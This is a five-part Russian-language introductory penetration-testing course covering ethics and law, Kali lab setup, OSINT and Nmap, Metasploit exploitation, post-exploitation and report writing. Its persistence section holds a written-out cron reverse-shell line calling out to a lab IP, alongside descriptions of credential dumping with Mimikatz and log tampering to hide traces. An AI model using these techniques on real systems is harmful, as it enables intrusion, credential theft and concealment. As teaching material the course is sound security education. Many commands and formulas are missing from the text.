Основы пентестинга: от теории к практике

Этот курс погружает в мир этичного хакинга, обучая методологиям тестирования на проникновение. Вы узнаете, как легально находить уязвимости, эксплуатировать их и составлять профессиональные отчеты для защиты систем.

1. Введение в этичный хакинг, правовые аспекты и подготовка рабочей среды

Введение в этичный хакинг, правовые аспекты и подготовка рабочей среды

Добро пожаловать на курс «Основы пентестинга: от теории к практике». Это первая статья, с которой начнется ваше погружение в мир информационной безопасности. Мы не будем сразу бросаться писать эксплойты или сканировать сети. Прежде чем взять в руки инструменты, необходимо понять философию, правила игры и подготовить безопасный полигон для тренировок.

Многие представляют хакеров как людей в капюшонах, которые в темной комнате взламывают банки за секунды. В реальности пентестинг (тестирование на проникновение) — это структурированный, легальный и кропотливый процесс поиска уязвимостей.

Что такое этичный хакинг?

Этичный хакинг (или White Hat Hacking) — это процесс использования тех же знаний и инструментов, что и у злоумышленников, но с благой целью: найти уязвимости до того, как ими воспользуются преступники, и помочь устранить их.

Главное отличие этичного хакера от киберпреступника заключается не в инструментах, а в разрешении на проведение работ и целях.

Классификация хакеров

В индустрии принято делить специалистов по «цвету шляп» (термин пришел из вестернов, где хорошие парни носили белые шляпы, а плохие — черные).

!Визуальное представление классификации хакеров: White Hat, Grey Hat и Black Hat

  • White Hat (Белые шляпы) — этичные хакеры. Работают строго по договору, имеют письменное разрешение владельца системы. Их цель — защита.
  • Black Hat (Черные шляпы) — киберпреступники. Взламывают системы ради выгоды, кражи данных, шпионажа или просто ради развлечения. Их действия незаконны.
  • Grey Hat (Серые шляпы) — находятся где-то посередине. Они могут взломать систему без спроса, чтобы проверить свои навыки, а затем сообщить владельцу об уязвимости (иногда требуя вознаграждение). Несмотря на благие намерения, их действия часто попадают под уголовную ответственность, так как у них не было изначального разрешения.
  • Триада CIA: Фундамент безопасности

    Любой пентестер должен понимать, что именно он защищает. В основе информационной безопасности лежит концепция, называемая Триада CIA (не путать с ЦРУ).

    * Confidentiality (Конфиденциальность) — гарантия того, что доступ к информации имеют только те, кто должен его иметь. Пример нарушения: утечка базы данных паролей. * Integrity (Целостность) — гарантия того, что информация не была изменена неавторизованным лицом. Пример нарушения: злоумышленник изменил номер счета получателя в банковской транзакции. * Availability (Доступность) — гарантия того, что авторизованные пользователи имеют доступ к информации и ресурсам, когда это им необходимо. Пример нарушения: DDoS-атака, которая «положила» сайт магазина.

    Ваша задача как пентестера — проверить, может ли злоумышленник нарушить хотя бы один из этих принципов.

    Оценка рисков

    Пентестинг — это не просто поиск «дыр», это управление рисками. В простейшем виде риск в информационной безопасности можно описать формулой:

    Где — это риск (Risk), — вероятность реализации угрозы (Probability), а — влияние или ущерб от этой угрозы (Impact).

    Если вы нашли уязвимость, которую очень легко эксплуатировать (высокая ), и она позволяет удалить всю базу данных (высокий ), то риск будет критическим. Если же уязвимость позволяет узнать только версию веб-сервера (низкий ), то даже при высокой вероятности риск будет низким.

    Правовые аспекты: Как не сесть в тюрьму

    Это самый важный раздел этой статьи. Внимательно прочитайте его.

    > Грань между пентестом и преступлением — это наличие письменного разрешения.

    В большинстве стран, включая Россию, несанкционированный доступ к компьютерной информации является уголовным преступлением (например, ст. 272, 273, 274 УК РФ). Даже если вы «просто посмотрели» или «хотели помочь», без договора вы — преступник.

    Золотые правила этичного хакера:

  • Никогда не атакуйте без разрешения. У вас должен быть подписанный документ (Scope of Work / Соглашение о границах работ), где четко прописано: какие IP-адреса можно трогать, какие нельзя, в какое время и какими методами.
  • Соблюдайте границы (Scope). Если вам разрешили проверить сайт example.com, это не значит, что вы можете атаковать личный почтовый ящик администратора этого сайта.
  • Не наносите вред. Ваша цель — найти уязвимость, а не уничтожить бизнес клиента. Если вы нашли способ удалить базу данных, не удаляйте её для доказательства. Сделайте скриншот возможности или создайте одну тестовую запись.
  • Подготовка рабочей среды

    Пентестеру нужна своя лаборатория. Атаковать учебные цели со своего основного рабочего компьютера — плохая идея. Вы можете случайно запустить вредоносный код или оставить «мусор» в своей системе.

    Мы будем использовать виртуализацию. Это технология, позволяющая запустить «компьютер внутри компьютера».

    Почему виртуальные машины?

    * Изоляция: Если вы заразите виртуальную машину вирусом, ваша основная система (хост) останется в безопасности. * Снэпшоты (Снимки состояния): Вы можете сохранить состояние системы. Если что-то сломали — просто откатитесь назад за секунду. * Гибкость: Можно создать целую сеть из разных ОС (Windows, Linux) на одном ноутбуке.

    !Схематичное устройство виртуальной лаборатории с использованием гипервизора

    Инструментарий: Kali Linux

    В качестве основной операционной системы для атак мы будем использовать Kali Linux. Это дистрибутив Linux, созданный специально для пентестеров. В нем уже предустановлены сотни инструментов для сканирования, взлома паролей, анализа трафика и многого другого.

    Вам не нужно быть гуру Linux прямо сейчас, мы будем учиться по ходу курса.

    Практическое задание: Настройка лаборатории

    Для прохождения курса вам необходимо подготовить рабочее место. Следуйте этому алгоритму:

  • Установите гипервизор.
  • Рекомендуется использовать VirtualBox (бесплатно и кроссплатформенно) или VMware Workstation Player. * Скачайте VirtualBox с официального сайта. * Установите его как обычную программу.

  • Скачайте образ Kali Linux.
  • * Зайдите на официальный сайт kali.org. * Выберите раздел "Virtual Machines" (это готовые образы для VirtualBox/VMware, их проще запустить, чем устанавливать с нуля). * Скачайте версию для вашего гипервизора (например, для VirtualBox).

  • Импортируйте образ.
  • * Распакуйте скачанный архив. * В VirtualBox нажмите «Добавить» или дважды кликните по файлу образа. * Запустите виртуальную машину.

  • Первый запуск.
  • * Логин и пароль по умолчанию в Kali Linux обычно: kali / kali.

    Теперь у вас есть готовая хакерская станция, изолированная от вашего основного компьютера.

    Заключение

    Сегодня мы заложили фундамент. Вы узнали, что этичный хакинг отличается от преступления наличием разрешения. Вы познакомились с триадой CIA и формулой риска. И, самое главное, вы начали подготовку своей лаборатории.

    В следующей статье мы начнем изучать фазу разведки (Reconnaissance) — самый важный этап любой атаки, о котором часто забывают новички. Убедитесь, что ваша виртуальная машина с Kali Linux работает, и до встречи на следующем уроке!

    2. Разведка, сбор информации (OSINT) и сканирование сетевой инфраструктуры

    Разведка, сбор информации (OSINT) и сканирование сетевой инфраструктуры

    В предыдущей статье мы подготовили нашу лабораторию на базе Kali Linux и обсудили правовые аспекты. Теперь, когда у нас есть безопасная среда и понимание правил, мы переходим к первому и самому важному этапу любого пентеста — разведке (Reconnaissance).

    Многие новички хотят сразу запустить эксплойт и получить доступ к системе. Это ошибка. Профессиональные пентестеры тратят до 60-70% времени проекта именно на сбор информации. Чем больше вы знаете о цели, тем выше шанс найти неочевидную уязвимость.

    Разведку принято делить на два больших типа: пассивная и активная.

    !Сравнение методов пассивной и активной разведки

    Пассивная разведка и OSINT

    Пассивная разведка подразумевает сбор информации без прямого взаимодействия с целевой системой. Цель не узнает, что вы ею интересуетесь, так как вы не отправляете ей никаких пакетов. Вы используете общедоступные источники.

    Этот процесс часто называют OSINT (Open Source Intelligence — разведка по открытым источникам).

    Google Dorking

    Самый мощный инструмент хакера — это не сложная программа, а обычный поисковик. Google (и другие поисковики) индексируют гигабайты информации, включая ту, которая не должна быть публичной: файлы конфигурации, списки паролей, админ-панели.

    Для точечного поиска используются специальные операторы — Google Dorks.

    Примеры полезных команд:

    * site:example.com — искать информацию только на указанном домене. * filetype:pdf — искать только файлы определенного типа (полезно для поиска документации). * intitle:"index of" — поиск открытых директорий, где сервер показывает список файлов. * inurl:admin — поиск страниц, в URL которых есть слово admin.

    Комбинируя эти операторы, можно найти удивительные вещи. Например, запрос site:example.com filetype:xlsx password попытается найти Excel-таблицы с паролями на конкретном сайте.

    Whois и DNS

    Каждый домен в интернете имеет владельца. Протокол Whois позволяет узнать регистрационные данные домена: имя владельца, контактный email, дату регистрации и DNS-серверы.

    В Kali Linux это делается одной командой:

    Зная DNS-серверы, мы можем попытаться найти поддомены (subdomains). Часто основной сайт (www.example.com) хорошо защищен, а забытый поддомен для разработчиков (dev.example.com) содержит критические уязвимости.

    Shodan: Поисковик для хакеров

    Если Google индексирует сайты, то Shodan индексирует устройства: веб-камеры, роутеры, серверы, светофоры и промышленные контроллеры.

    Shodan сканирует весь интернет 24/7 и сохраняет баннеры ответов сервисов. Вы можете найти серверы с определенной уязвимостью, не отправляя им ни одного пакета — Shodan уже сделал это за вас.

    Активная разведка: Сканирование сети

    После того как мы собрали всю доступную информацию из открытых источников, наступает этап активной разведки. Здесь мы начинаем взаимодействовать с целью напрямую.

    > Внимание: Активное сканирование чужой сети без разрешения является незаконным и может быть расценено как попытка взлома. Всегда проверяйте Scope (границы дозволенного).

    Протокол ICMP и Ping

    Самый простой способ узнать, «жив» ли хост — отправить ему ICMP-запрос (Echo Request). Если хост в сети и не блокирует ICMP, он отправит ответ (Echo Reply).

    Однако современные брандмауэры часто блокируют ICMP, поэтому отсутствие ответа на ping не гарантирует, что хост выключен.

    Nmap: Король сканеров

    Nmap (Network Mapper) — это стандарт де-факто в мире информационной безопасности. Он позволяет узнать:

  • Какие хосты есть в сети.
  • Какие порты на них открыты.
  • Какие сервисы (и их версии) работают на этих портах.
  • Какая операционная система установлена.
  • #### Как работает сканирование портов?

    Чтобы понять работу Nmap, нужно вспомнить, как устанавливается соединение по протоколу TCP. Этот процесс называется «Тройное рукопожатие» (Three-way handshake).

    !Схема TCP Handshake (тройного рукопожатия)

  • SYN: Клиент говорит «Хочу соединиться».
  • SYN-ACK: Сервер отвечает «Я готов, вот мои параметры».
  • ACK: Клиент подтверждает «Соединение установлено».
  • #### Основные типы сканирования в Nmap

  • TCP Connect Scan (-sT):
  • Nmap проходит все три этапа рукопожатия. Это самый надежный, но и самый «шумный» метод. В логах сервера останется запись о полноценном соединении.

  • SYN Scan (-sS)режим по умолчанию (требует root):
  • Nmap отправляет SYN, получает SYN-ACK, но вместо отправки ACK (завершения соединения) отправляет RST (сброс). Соединение не устанавливается до конца. Это быстрее и менее заметно для старых систем обнаружения вторжений.

  • Version Detection (-sV):
  • После обнаружения открытого порта Nmap пытается пообщаться с сервисом, чтобы узнать его точную версию (например, не просто «Web Server», а «Apache 2.4.49»).

    Пример команды для сканирования:

    Здесь мы используем SYN-сканирование (-sS), определение версий (-sV) и определение операционной системы (-O).

    Математика сетей: Расчет области сканирования

    Пентестеру часто дают не один IP-адрес, а целую подсеть в формате CIDR (например, 192.168.1.0/24). Важно понимать, сколько хостов вам предстоит просканировать, чтобы рассчитать время.

    Количество доступных хостов в подсети рассчитывается по формуле:

    Где: * — количество доступных для назначения хостов (адресов устройств). * — общее количество бит в IPv4 адресе. * — префикс маски подсети (число после слэша, например, 24). * — вычитание двух служебных адресов: адреса сети (первый адрес) и широковещательного адреса (последний адрес).

    Пример: Дана сеть 10.0.0.0/24. Подставим значения в формулу:

    Итого: 254 потенциальных цели. Если же маска будет /16, то количество хостов вырастет до . Запуск «тяжелого» сканирования на такую сеть может занять дни.

    Анализ результатов

    Собрав данные (список открытых портов и версий ПО), пентестер переходит к анализу. Мы ищем:

    * Устаревшие версии ПО: Если мы видим Apache 2.2, а актуальная версия 2.4, стоит проверить, есть ли известные уязвимости (CVE) для старой версии. * Ненужные открытые порты: Зачем на веб-сервере открыт порт принтера или базы данных, доступной всему миру? * Конфигурационные ошибки: Дефолтные страницы приветствия, открытые административные интерфейсы.

    Заключение

    Разведка — это фундамент. Качественный OSINT может дать вам пароли еще до начала сканирования, а грамотное использование Nmap покажет карту сети, не поднимая тревоги у администраторов.

    В следующей статье мы возьмем полученные данные (версии сервисов) и научимся искать уязвимости, используя базы данных эксплойтов и сканеры уязвимостей.

    3. Анализ уязвимостей и основы эксплуатации с использованием Metasploit Framework

    Анализ уязвимостей и основы эксплуатации с использованием Metasploit Framework

    В предыдущей статье мы научились проводить разведку: находить активные хосты, открытые порты и определять версии сервисов с помощью Nmap. Теперь перед нами стоит главный вопрос: что делать с этой информацией?

    Просто знать, что на сервере открыт порт 21 (FTP), недостаточно. Нам нужно понять, содержит ли запущенная там программа ошибки, которые позволят нам получить доступ к системе. Этот этап называется анализ уязвимостей, и он является мостом между разведкой и эксплуатацией.

    Понятие уязвимости и CVE

    Уязвимость (Vulnerability) — это недостаток в коде или конфигурации системы, который может быть использован злоумышленником для нарушения информационной безопасности.

    Чтобы хакеры и специалисты по безопасности говорили на одном языке, была создана система CVE (Common Vulnerabilities and Exposures). Это огромная база данных, где каждой уникальной уязвимости присваивается идентификатор, например: CVE-2017-0144 (знаменитая уязвимость EternalBlue).

    Оценка критичности: CVSS

    Не все уязвимости одинаково опасны. Ошибка, позволяющая удаленно выключить сервер, гораздо страшнее, чем ошибка, раскрывающая время работы сервера. Для оценки используется стандарт CVSS (Common Vulnerability Scoring System).

    Приоритизация уязвимостей часто строится на простой логике оценки риска:

    Где: * — итоговый уровень риска для организации. * — степень влияния на бизнес (ущерб от реализации угрозы). * — вероятность того, что уязвимость будет успешно проэксплуатирована (зависит от наличия готовых эксплойтов и сложности атаки).

    Если высокий (кража базы данных), но стремится к нулю (уязвимость теоретическая), то и общий риск будет невысоким. Ваша задача как пентестера — найти те уязвимости, где оба показателя высоки.

    Metasploit Framework: Швейцарский нож хакера

    Когда уязвимость найдена, её нужно подтвердить (проэксплуатировать). Писать код для взлома с нуля под каждую задачу долго и сложно. Здесь на сцену выходит Metasploit Framework (MSF).

    Это самый популярный в мире инструмент для разработки, тестирования и использования эксплойтов. Он предустановлен в Kali Linux.

    !Модульная структура Metasploit Framework

    Структура модулей Metasploit

    Metasploit состоит из модулей — небольших программ, выполняющих конкретные задачи. Вам нужно знать четыре основных типа:

  • Exploit (Эксплойт) — код, который использует уязвимость в системе, чтобы «пробить брешь» в защите. Это то, КАК мы проникаем.
  • Payload (Полезная нагрузка) — код, который запускается на системе жертвы ПОСЛЕ успешной работы эксплойта. Это то, ЧТО мы делаем внутри (например, запускаем командную строку).
  • Auxiliary (Вспомогательные модули) — сканеры, фаззеры и инструменты для сбора информации. Они не взламывают систему, но помогают найти цели.
  • Encoder (Кодировщики) — инструменты для видоизменения полезной нагрузки, чтобы обойти антивирусы (хотя современные антивирусы справляются с ними довольно легко).
  • Типы подключений: Bind vs Reverse Shell

    Прежде чем запускать атаку, критически важно понять, как именно вы будете управлять взломанным компьютером. Существует два основных типа удаленных оболочек (Shell).

    Bind Shell (Прямое подключение)

    Атакующий подключается к жертве напрямую. Эксплойт открывает порт на компьютере жертвы, и мы заходим на него.

    * Проблема: Брандмауэры (Firewalls) обычно блокируют все входящие соединения, кроме разрешенных (например, порт 80 для веб-сервера). Если эксплойт откроет порт 4444, брандмауэр просто не пустит вас к нему.

    Reverse Shell (Обратное подключение)

    Жертва сама подключается к атакующему. Эксплойт заставляет компьютер жертвы отправить запрос на ваш IP-адрес.

    * Преимущество: Брандмауэры обычно не блокируют исходящий трафик (пользователи ведь должны иметь возможность открывать сайты). Это самый надежный способ получить доступ.

    !Визуализация обхода брандмауэра с помощью Reverse Shell

    Практика: Работа с Metasploit

    Давайте разберем типовой алгоритм работы в консоли Metasploit (msfconsole). Представим, что на этапе разведки мы нашли старый FTP-сервер vsftpd 2.3.4 на адресе 192.168.1.5.

    Шаг 1: Запуск и поиск

    Запускаем фреймворк командой msfconsole в терминале. После загрузки ищем эксплойт для нашей цели:

    Вывод покажет список модулей. Допустим, мы нашли exploit/unix/ftp/vsftpd_234_backdoor.

    Шаг 2: Выбор эксплойта

    Активируем модуль командой use:

    Шаг 3: Настройка параметров

    Смотрим, какие параметры требует эксплойт:

    Обычно нужно настроить два главных параметра: * RHOSTS (Remote Hosts) — IP-адрес жертвы. * LHOST (Local Host) — ваш IP-адрес (для Reverse Shell).

    Устанавливаем цель:

    Шаг 4: Выбор полезной нагрузки (Payload)

    Иногда эксплойт имеет встроенную нагрузку, но часто её нужно выбрать вручную. Посмотрим доступные варианты:

    Выберем классический Reverse Shell для Linux:

    Шаг 5: Эксплуатация

    Самый волнительный момент. Команда exploit (или run) запускает атаку.

    Если все прошло успешно, вы увидите сообщение Command shell session 1 opened и получите управление сервером.

    Meterpreter: Король полезных нагрузок

    Обычная командная строка (Shell) ограничена возможностями системы. В Metasploit есть специальная продвинутая нагрузка — Meterpreter.

    Она работает полностью в оперативной памяти (не создавая файлов на диске, что затрудняет обнаружение) и дает супер-способности: * Включение веб-камеры и микрофона жертвы. * Скриншоты рабочего стола. * Кейлоггер (перехват нажатий клавиш). * Дамп хешей паролей.

    Если вы видите payload с именем windows/meterpreter/reverse_tcp, выбирайте его вместо обычного windows/shell/reverse_tcp.

    Заключение

    Сегодня мы разобрали теорию уязвимостей и научились пользоваться «ядерным оружием» пентестера — Metasploit Framework. Мы узнали, что:

  • CVE — это имя уязвимости.
  • Exploit пробивает защиту, а Payload дает управление.
  • Reverse Shell помогает обойти брандмауэр.
  • Однако получить доступ — это только половина дела. Часто вы попадаете в систему с правами обычного пользователя. В следующих статьях мы поговорим о том, как повысить свои привилегии до администратора и закрепиться в системе.

    4. Пост-эксплуатация: повышение привилегий, сбор данных и закрепление в системе

    Пост-эксплуатация: повышение привилегий, сбор данных и закрепление в системе

    В предыдущей статье мы испытали триумф: эксплойт сработал, и в консоли Metasploit появилась заветная строка Command shell session 1 opened. Казалось бы, победа? Не совсем. В 90% случаев после успешного взлома вы оказываетесь в системе с правами обычного пользователя или сервисного аккаунта (например, www-data или nobody).

    Вы внутри, но ваши возможности ограничены. Вы не можете читать файлы паролей, устанавливать программы или просматривать данные других пользователей. Здесь начинается этап пост-эксплуатации (Post-Exploitation).

    Это самая творческая и сложная часть пентеста, которая включает в себя три главные задачи:

  • Повышение привилегий (стать администратором).
  • Сбор данных (найти ценную информацию).
  • Закрепление (оставить «черный ход» для возвращения).
  • Повышение привилегий (Privilege Escalation)

    Повышение привилегий — это процесс получения прав доступа выше тех, что были предоставлены изначально. В хакерском сленге это часто называют «получением рута» (root) или «поднятием прав».

    Существует два типа повышения привилегий:

    * Горизонтальное: Вы захватываете аккаунт другого пользователя с теми же правами (например, от менеджера Боба к менеджеру Алисе). * Вертикальное: Вы повышаете свои права от обычного пользователя до администратора (root в Linux или NT AUTHORITY\SYSTEM в Windows).

    !Иерархия прав доступа: от обычного пользователя к администратору

    Linux: Охота за Root

    Если вы попали в Linux-систему, первым делом введите команду whoami. Если ответ не root, начинаем охоту.

    #### 1. Анализ прав sudo

    Команда sudo позволяет обычным пользователям выполнять команды от имени суперпользователя. Иногда администраторы допускают ошибки в конфигурации, разрешая запускать опасные программы без пароля.

    Проверка доступных команд:

    Если вы видите, что пользователю разрешено запускать, например, текстовый редактор vim от имени root без пароля, вы выиграли. Вы можете запустить vim, а из него вызвать системную оболочку, которая уже будет иметь права root.

    #### 2. Бит SUID

    В Linux у файлов есть специальные права доступа. Одно из них — SUID (Set User ID). Если на исполняемом файле установлен этот бит, то программа запускается с правами владельца файла, а не того, кто её запустил.

    Если владельцем файла является root, и программа имеет уязвимость или функцию запуска команд, мы можем стать root.

    Поиск таких файлов:

    #### 3. Эксплойты ядра (Kernel Exploits)

    Если система старая и не обновлялась, само ядро Linux может содержать уязвимости. Знаменитый эксплойт Dirty COW (CVE-2016-5195) позволял любому пользователю получить права root за несколько секунд. Однако использование таких эксплойтов рискованно: они могут вызвать сбой системы (Kernel Panic).

    Windows: Путь к SYSTEM

    В Windows система прав сложнее, но принципы те же. Наша цель — учетная запись Administrator или системная учетная запись SYSTEM.

    #### 1. Unquoted Service Paths (Некавыченные пути сервисов)

    Это классическая ошибка конфигурации. Представьте, что в системе есть сервис, путь к которому записан так:

    C:\Program Files\My Soft\service.exe

    Обратите внимание: путь содержит пробелы и не взят в кавычки. Windows пытается запустить программу в таком порядке:

  • C:\Program.exe
  • C:\Program Files\My.exe
  • C:\Program Files\My Soft\service.exe
  • Если у нас есть права на запись в корень диска C, мы можем создать свой вредоносный файл и назвать его Program.exe. При следующем перезапуске сервиса Windows запустит наш вирус вместо легальной программы, но с правами системы.

    #### 2. Windows PrivEsc через Metasploit

    Metasploit имеет модуль Suggester, который автоматически проверяет систему на наличие известных уязвимостей повышения привилегий.

    Он выдаст список модулей, которые, вероятно, сработают на данной машине.

    Сбор данных (Looting)

    Получив права администратора, мы переходим к сбору «трофеев». Что ищет пентестер?

  • Хеши паролей: Самая ценная добыча. В Linux они хранятся в файле /etc/shadow, который может читать только root. В Windows они хранятся в базе данных SAM (Security Account Manager).
  • SSH-ключи: Часто позволяют подключиться к другим серверам без пароля.
  • Конфигурационные файлы: Часто содержат пароли от баз данных в открытом виде.
  • Mimikatz

    В мире Windows есть легендарный инструмент — Mimikatz. Он умеет извлекать пароли и хеши прямо из оперативной памяти работающей системы. В Metasploit (внутри Meterpreter) есть аналог — модуль kiwi.

    Эта команда может показать вам пароли пользователей в открытом виде, если они недавно входили в систему.

    Закрепление в системе (Persistence)

    Эксплойты нестабильны. Сервер может перезагрузиться, или администратор может закрыть уязвимость. Чтобы не взламывать систему каждый раз заново, пентестеры оставляют «закладки».

    Методы закрепления

  • Создание пользователя:
  • Самый простой, но и самый заметный способ. Администратор быстро заметит нового пользователя hacker123.

  • Планировщики задач (Cron / Task Scheduler):
  • Мы можем создать задачу, которая каждые 5 минут будет пытаться подключиться к нашему серверу (Reverse Shell). Даже если соединение разорвется, через 5 минут оно восстановится.

    Пример для Linux (Cron): /5 * /bin/bash -c 'bash -i >& /dev/tcp/192.168.1.10/4444 0>&1'

  • Бэкдоры в службах:
  • Замена легитимной программы (например, калькулятора или службы обновлений) на нашу вредоносную программу.

    Pivoting: Движение вглубь

    Часто взломанный компьютер — это не конечная цель, а лишь мост во внутреннюю сеть компании. Этот процесс называется Pivoting (Туннелирование).

    Представьте, что вы взломали веб-сервер, который доступен из интернета. За ним, в закрытой локальной сети, находится сервер базы данных, к которому из интернета доступа нет. Но веб-сервер «видит» базу данных.

    !Схема Pivoting: использование взломанного узла для атаки на недоступные извне системы

    Используя Metasploit, мы можем превратить взломанный веб-сервер в маршрутизатор (прокси), через который будем сканировать и атаковать внутреннюю сеть.

    Заметание следов

    Этичный хакер обязан оставить систему в том же состоянии, в котором она была до его прихода (за исключением оговоренных изменений). Но в процессе обучения важно знать, как злоумышленники скрывают свое присутствие.

  • Очистка логов: В Linux логи хранятся в /var/log (например, auth.log, syslog). Удаление этих файлов — грубая работа, которая сама по себе вызывает подозрения. Профессионалы редактируют логи, удаляя только строки со своим IP-адресом.
  • Удаление инструментов: Все скрипты, эксплойты и файлы, которые вы загрузили на сервер жертвы, должны быть удалены.
  • Timestomping: Изменение времени создания/модификации вредоносных файлов, чтобы они выглядели как старые системные файлы.
  • Заключение

    Пост-эксплуатация — это то, что отличает скрипт-кидди (новичка, запускающего готовые скрипты) от профессионала. Получить доступ — это полдела. Умение повысить привилегии, найти критически важные данные и продвинуться вглубь сети требует глубокого понимания работы операционных систем.

    В следующей, заключительной статье теоретического блока, мы обсудим то, ради чего всё это затевалось — написание отчета. Ведь если вы нашли уязвимость, но не смогли объяснить клиенту, как её закрыть, ваша работа не имеет смысла.

    5. Документирование результатов, написание отчета и рекомендации по устранению угроз

    Документирование результатов, написание отчета и рекомендации по устранению угроз

    Поздравляю! Вы прошли долгий путь от настройки виртуальной лаборатории до получения прав администратора на удаленном сервере. Вы успешно провели разведку, нашли уязвимость, проэксплуатировали её и даже закрепились в системе. Но знаете что? Ваша работа еще не закончена. Более того, самая важная часть только начинается.

    В мире этичного хакинга существует золотое правило: «Если этого нет в отчете, значит, этого не было».

    Клиент платит вам не за то, что вы смогли взломать его сайт и почувствовали себя героем. Он платит за отчет, который объяснит ему, где находятся дыры в безопасности, насколько они опасны и, самое главное, как их закрыть. Плохой отчет может обесценить даже самый технически сложный взлом. Хороший отчет может сделать ценным даже простой пентест.

    В этой заключительной статье курса мы разберем искусство написания отчетов и перевода технических проблем на язык бизнеса.

    Структура идеального отчета

    Отчет о пентесте — это документ, который будут читать совершенно разные люди: от системных администраторов до генерального директора. У этих людей разные интересы и разный уровень технической подготовки. Поэтому отчет принято делить на две основные части.

    !Структура отчета о пентесте: разделение на бизнес-часть и техническую часть

    1. Управленческое резюме (Executive Summary)

    Эта часть пишется для топ-менеджмента (CEO, CTO, CISO). Эти люди управляют бюджетами и рисками. Им не интересно, какой флаг вы использовали в Nmap или какая версия ядра Linux уязвима. Им важно знать:

    * Насколько безопасен их бизнес? * Могут ли конкуренты украсть базу клиентов? * Грозит ли компании штраф или репутационный ущерб? * Сколько денег и времени нужно на исправление?

    Правила написания Executive Summary:

  • Никакого технического сленга. Забудьте слова «эксплойт», «XSS», «буфер». Используйте термины «риск утечки данных», «возможность подмены информации», «остановка бизнес-процессов».
  • Краткость. Объем — 1-2 страницы. Графики и диаграммы работают лучше текста.
  • Общая оценка. Часто используют цветовую шкалу (светофор): Красный (критично), Желтый (требует внимания), Зеленый (безопасно).
  • 2. Технический отчет (Technical Report)

    Эта часть предназначена для тех, кто будет исправлять найденные ошибки: разработчиков, сисадминов, DevOps-инженеров. Здесь нужна максимальная детализация.

    Каждая найденная уязвимость должна быть описана по строгому шаблону:

    * Название уязвимости. * Уровень критичности (Severity). * Описание. В чем суть проблемы. * Местонахождение. URL, IP-адрес, порт, параметр запроса. * Доказательство (Proof of Concept — PoC). Скриншоты, логи, куски кода, пошаговая инструкция по воспроизведению. * Рекомендация. Как исправить.

    Оценка рисков и математика потерь

    Чтобы убедить бизнес выделить деньги на безопасность, нужно говорить на языке денег. Пентестер должен уметь оценивать риски количественно.

    В информационной безопасности часто используется формула расчета ожидаемых ежегодных потерь (ALE — Annual Loss Expectancy). Это помогает понять, стоит ли тратить 10 000 долларов на защиту от угрозы, которая принесет убыток всего в 100 долларов.

    Где: * — ожидаемые ежегодные потери (сумма, которую компания рискует потерять за год от данного риска). * — ожидаемые потери от одного инцидента (Single Loss Expectancy). Например, стоимость восстановления базы данных после одной атаки. * — ежегодная частота возникновения (Annual Rate of Occurrence). Вероятность того, сколько раз в год этот инцидент произойдет (например, 0.1, если раз в 10 лет, или 12, если каждый месяц).

    Пример: Если взлом сайта () стоит компании 50 000 рублей, и вероятность такого взлома () — 2 раза в год, то составит 100 000 рублей. Если средство защиты стоит 500 000 рублей, то бизнесу выгоднее принять риск, чем покупать защиту. Ваша задача — показать, где превышает стоимость исправлений.

    Доказательство уязвимости (Proof of Concept)

    Самая частая ошибка новичков — недостаточное количество доказательств. Фразы «Я думаю, здесь есть SQL-инъекция» недостаточно. Вы должны это доказать, но (важно!) не сломав при этом систему.

    > Золотое правило PoC: Доказательство должно быть воспроизводимым, наглядным и безопасным.

    * Скриншоты: Обязательно делайте скриншоты каждого шага. Обводите красным цветом важные места (введенные команды, полученные ошибки). * Дампы трафика: Если уязвимость сетевая, приложите файл .pcap или текст HTTP-запроса. * Код эксплойта: Если вы написали скрипт для эксплуатации, приложите его код, но уберите из него деструктивные функции (например, вместо удаления базы данных просто выведите её версию).

    Рекомендации по устранению (Remediation)

    Найти проблему легко. Предложить грамотное решение — сложно. Ваши рекомендации должны быть реалистичными.

    Типы рекомендаций

  • Патчинг (Patching): Самый простой совет — «обновите ПО». Если вы нашли старую версию Apache, рекомендация очевидна.
  • Изменение конфигурации: Отключение неиспользуемых портов, смена дефолтных паролей, запрет слабых шифров.
  • Изменение кода: Если это веб-уязвимость (например, XSS), вы должны показать разработчику, как фильтровать ввод данных.
  • Концепция «Эшелонированная защита» (Defense in Depth)

    Хороший пентестер дает рекомендации не только по закрытию конкретной дыры, но и по улучшению архитектуры в целом. Это называется Defense in Depth — построение защиты слоями.

    !Концепция эшелонированной защиты: если злоумышленник проходит один слой, его должен остановить следующий

    Если вы взломали базу данных через SQL-инъекцию, ваши рекомендации должны звучать так:

  • Слой приложения: Исправить код, используя параметризированные запросы (Prepared Statements).
  • Слой СУБД: Ограничить права пользователя базы данных (чтобы он мог читать только нужные таблицы, а не удалять файлы).
  • Слой сети: Настроить Web Application Firewall (WAF), чтобы блокировать подозрительные запросы.
  • Такой подход гарантирует, что даже если разработчик снова допустит ошибку в коде, хакера остановят другие слои защиты.

    Процесс сдачи проекта

    Написание отчета — это не финал. Обычно процесс завершения проекта выглядит так:

  • Черновик отчета: Вы отправляете отчет клиенту на ознакомление.
  • Презентация: Вы встречаетесь с командой клиента (онлайн или лично) и проходите по ключевым пунктам. Будьте готовы отвечать на неудобные вопросы и защищать свои находки.
  • Retest (Повторное тестирование): Через некоторое время (обычно 1-3 месяца) клиент сообщает, что исправил уязвимости. Ваша задача — проверить, действительно ли патчи работают, и не открыли ли они новые дыры.
  • Финальный отчет: Документ, в котором зафиксировано, что уязвимости устранены.
  • Уборка за собой

    В статье про пост-эксплуатацию мы говорили о заметании следов. В легальном пентесте это называется «очистка» (Cleanup). Перед сдачей отчета вы обязаны:

    * Удалить все созданные тестовые учетные записи. * Удалить загруженные скрипты, шеллы и инструменты. * Вернуть измененные конфигурации в исходное состояние.

    Оставить бэкдор на сервере клиента после завершения контракта — это грубейшее нарушение этики и условий договора.

    Заключение курса

    Мы завершаем курс «Основы пентестинга: от теории к практике». Мы прошли путь от понимания правовых основ и этики до написания профессионального отчета.

    Вы узнали: * Как мыслит хакер и чем White Hat отличается от Black Hat. * Как проводить разведку (OSINT) и сканировать сети. * Как искать уязвимости и использовать Metasploit. * Как повышать привилегии и закрепляться в системе. * И, наконец, как превратить свои технические навыки в полезный для бизнеса результат.

    Помните, что пентестинг — это не статичная наука. Технологии меняются каждый день. То, что работало вчера, сегодня уже закрыто патчем. То, что сегодня считается безопасным, завтра может стать критической уязвимостью.

    Главный навык хакера — это не умение запускать инструменты, а умение учиться, анализировать и мыслить нестандартно. Удачи в ваших исследованиях, и пусть ваши взломы всегда будут этичными!